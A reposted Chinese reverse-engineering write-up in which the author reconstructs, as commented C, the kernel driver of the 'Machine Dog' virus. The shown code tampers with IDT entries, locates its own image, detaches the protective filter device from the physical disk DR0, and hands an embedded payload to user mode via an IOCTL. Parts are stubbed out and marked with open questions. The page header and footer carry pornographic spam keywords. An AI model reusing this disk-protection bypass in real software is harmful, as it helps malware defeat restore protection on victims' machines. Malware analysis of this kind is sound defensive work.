欧美性猛交XXXX免费看蜜桃,成人网18免费韩国,亚洲国产成人精品区综合,欧美日韩一区二区三区高清不卡,亚洲综合一区二区精品久久

打開(kāi)APP
userphoto
未登錄

開(kāi)通VIP,暢享免費電子書(shū)等14項超值服

開(kāi)通VIP
“機器狗”病毒驅動(dòng)部分逆向分析注釋?zhuān)–代碼)
/* 
標 題: 【原創(chuàng )】“機器狗”病毒驅動(dòng)部分逆向分析注釋?zhuān)–代碼) 
作 者: dream2fly(QQ:838468959) 
時(shí) 間: 2008.03.13 于深圳科技園 
鏈 接; http://www.dream2fly.net 
版 本: 1.0 

【軟件名稱(chēng)】: 機器狗(病毒) 
【下載地址】: http://www.dream2fly.net 或 自己搜索下載 
【加殼方式】: 未知殼 
【編寫(xiě)語(yǔ)言】: MASM 
【使用工具】: IDA 
【操作平臺】: win2003 
【軟件介紹】: 穿透冰點(diǎn)型帶驅動(dòng)病毒 
【作者聲明】: 只是感興趣,沒(méi)有其他目的。失誤之處敬請諸位大俠賜教! 

*/  
#include <ntddk.h> // various NT definitions 

#define IOCTL_MYDEV_BASE 0xF000 
#define IOCTL_MYDEV_Fun_0xF01 CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define DR0_DEVICE_NAME "\\Device\\Harddisk0\\DR0" 
#define NT_DEVICE_NAME "\\Device\\PhysicalHardDisk0" 
#define DOS_DEVICE_NAME "\\DosDevices\\PhysicalHardDisk0" 

PDEVICE_OBJECT g_DR0_DeviceObject; 
PDEVICE_OBJECT g_OldAttachedDeviceOfDR0; 
VOID* g_ResData; 
SIZE_T g_ResDataSize; 

typedef struct _idtr 

 //定義中斷描述符表的限制,長(cháng)度兩字節; 
 short IDTLimit; 
 //定義中斷描述服表的基址,長(cháng)度四字節; 
 unsigned int IDTBase; 
}IDTR,*PIDTR; 

typedef struct _idtentry 

 //中斷執行代碼偏移量的底16位; 
 unsigned short OffsetLow; 
 //選擇器,也就是寄存器; 
 unsigned short Selector; 
 //保留位,始終為零; 
 unsigned char Reserved; 
 //IDT中的門(mén)的類(lèi)型:包括中斷門(mén),陷阱門(mén)和任務(wù)門(mén); 
 unsigned char Type:4; 
 //段標識位; 
 unsigned char SegmentFlag:1; 
 //中斷門(mén)的權限等級,0表示內核級,3表示用戶(hù)級; 
 unsigned char DPL:2; 
 //呈現標志位; 
 unsigned char Present:1; 
 //中斷執行代碼偏移量的高16位; 
 unsigned short OffsetHigh; 
}IDTENTRY,*PIDTENTRY; 

#define HOOKINTID_09 9 //NPX Segment Overrun 
#define HOOKINTID_0E 0x0E //Page Fault 

VOID CheckIdt()//用SIDT指令得到中斷向量啊,然后修改中斷向量入口地址 

 int INT_09_Address_High8; 
 int INT_0E_Address_High8; 
 unsigned long OldISR_09; 
 unsigned long OldISR_0E; 

 //保存IDT入口的基地址和限制信息的數據結構; 
 IDTR idtr;//store interrupt descript table register. to idtr 

 //記錄IDT數組的指針,通過(guò)它可以查找到我們需要Hook中斷號對應的中斷門(mén); 
 PIDTENTRY IdtEntry; 

 //匯編指令sidt,獲取IDT入口信息; 
 __asm sidt idtr 

 //賦予IDT基地址值; 
 IdtEntry = (PIDTENTRY)idtr.IDTBase; 

 //保存中斷號HOOKINTID對應中斷門(mén)所指向的執行代碼偏移量,以備執行中斷處理或恢復時(shí)使用 
 OldISR_09 = ((unsigned int)IdtEntry[HOOKINTID_09].OffsetHigh << 16) | (IdtEntry[HOOKINTID_09].OffsetLow); 

 INT_09_Address_High8 = OldISR_09&0x0FF000000; 

 /* 
 這兩句匯編代碼什么意思?eax相減應該總是0,那么 jz不總是跳轉返回了??? 
 有知道的大俠告訴我dream2fly(QQ:838468959) 
 sub eax, eax 
 jz short FunctionExit 
 難道是? 
 if (INT_09_Address_High8 == 0) 
 return; 
 */ 

 //保存中斷號HOOKINTID對應中斷門(mén)所指向的執行代碼偏移量,以備執行中斷處理或恢復時(shí)使用; 
 OldISR_0E = ((unsigned int)IdtEntry[HOOKINTID_0E].OffsetHigh << 16) | (IdtEntry[HOOKINTID_0E].OffsetLow); 

 INT_0E_Address_High8 = OldISR_0E&0x0FF000000; 

 if (INT_09_Address_High8 != INT_0E_Address_High8)//檢查0E是不是被HOOK 
 {  
 //關(guān)中斷 
 __asm cli 
  
 IdtEntry[HOOKINTID_0E].OffsetHigh = 0;// 作者此處沒(méi)關(guān)中斷,難道不bosd? 
  
 //開(kāi)中斷 
 __asm sti 
 } 


/* 
通過(guò)搜索地址來(lái)查找自己的加載地址 
查找驅動(dòng)文件的資源中的1000/1000,并復制到一個(gè)全局緩沖區中 
*/ 
VOID* SearchSelf() 

 VOID* pSelfImage = NULL; 
 VOID* pCurAddr = NULL; 
 VOID* pTmpAddr = NULL; 

// loc_40045F:這個(gè)取當前地址用C怎么寫(xiě)? 
//028 lea ebx, loc_40045F 
//028 and ebx, 0FFFFFC00h 

 //pSelfImage如何??? 

 while(MmIsAddressValid(pSelfImage)) 
 { 
 if ((unsigned long)pSelfImage <= 0x80000000) 
 return NULL; 

 if (RtlEqualMemory(pSelfImage, "MZ", 2)) 
 { 
 pCurAddr = pSelfImage; 
 pTmpAddr = (VOID*)((unsigned long)pSelfImage+0x3C); 
 (unsigned long)pCurAddr += (unsigned long)(&pTmpAddr); 

 if (!MmIsAddressValid(pCurAddr)) 
 return NULL; 

 if (RtlEqualMemory(pCurAddr, "PE", 2)) 
 return pSelfImage; 
 } 

 (unsigned long)pSelfImage -= 0x400;//-1024K 
 } 
  
 return NULL; 


SIZE_T ResLookupDataInDirectoryById(void* pSysBaseAddr, int id1, int id2, CHAR* pResDatas) 

 // 有空再補上:) 

 return 0; 

// 
// Device driver routine declarations. 
// 

NTSTATUS 
DriverEntry( 
 IN OUT PDRIVER_OBJECT DriverObject, 
 IN PUNICODE_STRING RegistryPath 
 ); 

NTSTATUS 
CommonDispatch( 
 IN PDEVICE_OBJECT DeviceObject, 
 IN PIRP Irp 
 ); 

VOID 
Unload( 
 IN PDRIVER_OBJECT DriverObject 
 ); 

NTSTATUS 
DriverEntry( 
 IN OUT PDRIVER_OBJECT DriverObject, 
 IN PUNICODE_STRING RegistryPath 
 ) 

 NTSTATUS ntStatus; 
 CHAR* pResData = NULL; 
 ANSI_STRING SourceString; 
 PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object 
 UNICODE_STRING SymbolicLinkName;  
 UNICODE_STRING DeviceName;  
 VOID* pSelfImage; 
 PDEVICE_OBJECT cur_device_object; 
 PDEVICE_OBJECT next_device_object; 

 CheckIdt(); 

 pSelfImage = SearchSelf(); 
 if (pSelfImage == NULL) 
 return -1; 

 g_ResDataSize = ResLookupDataInDirectoryById(pSelfImage, 1000, 1000, pResData); 
 if (g_ResDataSize == 0) 
 { 
 return -1; 
 } 

 g_ResData = ExAllocatePool(NonPagedPool, g_ResDataSize); 
 // 跳轉到下條指令,延時(shí) jmp short $Content$2 

 RtlCopyMemory(g_ResData, pResData, g_ResDataSize); 

 DriverObject->DriverUnload = Unload; 
 DriverObject->MajorFunction[IRP_MJ_CREATE] = 
 DriverObject->MajorFunction[IRP_MJ_CLOSE] = 
 DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = CommonDispatch; 

 // 為什么不用RtlInitUnicodeString( &ntUnicodeString, NT_DEVICE_NAME );代替 
 RtlInitAnsiString(&SourceString, NT_DEVICE_NAME); 
 RtlAnsiStringToUnicodeString(&DeviceName, &SourceString, TRUE); 

 RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME); 
 RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE); 
 ntStatus = IoCreateDevice( 
 DriverObject, // Our Driver Object 
 0, // We don’t use a device extension 
 &DeviceName,  
 FILE_DEVICE_NULL, // Device type 
 0, // Device characteristics //此處應該用FILE_DEVICE_SECURE_OPEN吧? 
 FALSE, // Not an exclusive device 
 &DeviceObject ); // Returned ptr to Device Object 

 if ( !NT_SUCCESS( ntStatus ) ) 
 { 
 goto End; 
 } 

 ntStatus = IoCreateSymbolicLink( &SymbolicLinkName, &DeviceName ); 

 if ( !NT_SUCCESS( ntStatus ) ) 
 { 
 cur_device_object = DriverObject->DeviceObject; 

 while (cur_device_object) 
 { 
 next_device_object = DeviceObject->NextDevice; 
 IoDeleteDevice(cur_device_object); 
 cur_device_object = next_device_object; 
 } 
 } 

End: 
 RtlFreeUnicodeString(&DeviceName); 
 RtlFreeUnicodeString(&SymbolicLinkName); 

 return STATUS_SUCCESS; 


VOID 
Unload( 
 IN PDRIVER_OBJECT DriverObject 
 ) 

 ANSI_STRING SourceString; 
 PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object 
 UNICODE_STRING SymbolicLinkName;  
 PDEVICE_OBJECT cur_device_object; 
 PDEVICE_OBJECT next_device_object; 

 if (g_ResData) 
 { 
 ExFreePool(g_ResData); 
 } 

 if (DriverObject) 
 { 
 RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME); 
 RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE); 

 IoDeleteSymbolicLink(&SymbolicLinkName); 
 RtlFreeUnicodeString(&SymbolicLinkName); 

 cur_device_object = DriverObject->DeviceObject; 

 while (cur_device_object) 
 { 
 next_device_object = DeviceObject->NextDevice; 
 IoDeleteDevice(cur_device_object); 
 cur_device_object = next_device_object; 
 } 
 } 


NTSTATUS 
CommonDispatch( 
 IN PDEVICE_OBJECT DeviceObject, 
 IN PIRP Irp 
 ) 

 PDEVICE_OBJECT DRO_DeviceObject = NULL; // ptr to device object 
 PFILE_OBJECT DRO_FileObject; 
 ANSI_STRING SourceString; 
 UNICODE_STRING DRO_DeviceName;  

 PIO_STACK_LOCATION irpSp;// Pointer to current stack location 
 NTSTATUS ntStatus = STATUS_SUCCESS;// Assume success 
 ULONG inBufLength; // Input buffer length 
 ULONG outBufLength; // Output buffer length 

 Irp->IoStatus.Status = STATUS_SUCCESS; 
 Irp->IoStatus.Information = 0; 

 irpSp = IoGetCurrentIrpStackLocation( Irp ); 
 inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength; 
 outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength; 

 if(!inBufLength || !outBufLength) 
 { 
 ntStatus = STATUS_INVALID_PARAMETER; 
 goto End; 
 } 

 switch ( irpSp->MajorFunction ) 
 { 
 case IRP_MJ_CREATE: 
 RtlInitAnsiString(&SourceString, DR0_DEVICE_NAME); 
 RtlAnsiStringToUnicodeString(&DRO_DeviceName, &SourceString, TRUE); 

 IoGetDeviceObjectPointer(&DRO_DeviceName, 0x80,&DRO_FileObject, &DRO_DeviceObject); 
 g_DR0_DeviceObject = DRO_FileObject->DeviceObject; 

 //保存DR0上的附加設備,然后斷開(kāi)附加,等IRP_MJ_CLOSE時(shí)恢復附加 
 if (DRO_FileObject->DeviceObject->AttachedDevice) 
 { 
 g_OldAttachedDeviceOfDR0 = DRO_FileObject->DeviceObject->AttachedDevice; 
 DRO_FileObject->DeviceObject->AttachedDevice= NULL; 
 } 

 ObDereferenceObject(DRO_FileObject); 

 RtlFreeUnicodeString(&DRO_DeviceName); 

 break; 
 case IRP_MJ_CLOSE: 
 if (g_DR0_DeviceObject) 
 { 
 if (g_OldAttachedDeviceOfDR0) 
 { 
 g_DR0_DeviceObject->AttachedDevice = g_OldAttachedDeviceOfDR0; 
 } 
 } 

 break; 
 case IRP_MJ_DEVICE_CONTROL: 
 if ( irpSp->Parameters.DeviceIoControl.IoControlCode == 0x0F0003C04) 
 { 
 if (outBufLength < g_ResDataSize) 
 goto End; 

 // 此處就是提取驅動(dòng)里的資源解碼返回給ap層,很簡(jiǎn)單,不再反匯編了,此處省略 
 // 唯一不理解的是既然是雙緩沖應該用IRP.AssociatedIrp.SystemBuffer返回給ap才是 
 // 難道此時(shí)Irp->AssociatedIrp.SystemBuffer和Irp->UserBuffer地址相同?? 
 RtlCopyMemory(Irp->UserBuffer, g_ResData, g_ResDataSize); 

 Irp->IoStatus.Information = g_ResDataSize; 
 } 
 else 
 { 
 ntStatus = STATUS_INVALID_DEVICE_REQUEST; 
 } 

 break; 

 default: 

 // 
 // The specified I/O control code is unrecognized by this driver. 
 // 

 ntStatus = STATUS_INVALID_DEVICE_REQUEST; 
 break; 
 } 

End: 
 // 
 // Finish the I/O operation by simply completing the packet and returning 
 // the same status as in the packet itself. 
 // 

 Irp->IoStatus.Status = ntStatus; 

 IoCompleteRequest( Irp, IO_NO_INCREMENT ); 

 return ntStatus; 
}

 

 


本站僅提供存儲服務(wù),所有內容均由用戶(hù)發(fā)布,如發(fā)現有害或侵權內容,請點(diǎn)擊舉報。
打開(kāi)APP,閱讀全文并永久保存 查看更多類(lèi)似文章
猜你喜歡
類(lèi)似文章
任意用戶(hù)模式下執行 ring 0 代碼
USB轉串口驅動(dòng)代碼分析
Kernel Mode Sockets Library
 WINDOWS 系統組件 IRP (I/O Request Package) 詳解
多種開(kāi)發(fā)工具開(kāi)發(fā)的9054驅動(dòng)源程序比較(上)轉
一個(gè)完整的Windows驅動(dòng)程序示例(應用與內核通信)_驅動(dòng)通信例子_csdn
更多類(lèi)似文章 >>
生活服務(wù)
分享 收藏 導長(cháng)圖 關(guān)注 下載文章
綁定賬號成功
后續可登錄賬號暢享VIP特權!
如果VIP功能使用有故障,
可點(diǎn)擊這里聯(lián)系客服!

聯(lián)系客服

欧美性猛交XXXX免费看蜜桃,成人网18免费韩国,亚洲国产成人精品区综合,欧美日韩一区二区三区高清不卡,亚洲综合一区二区精品久久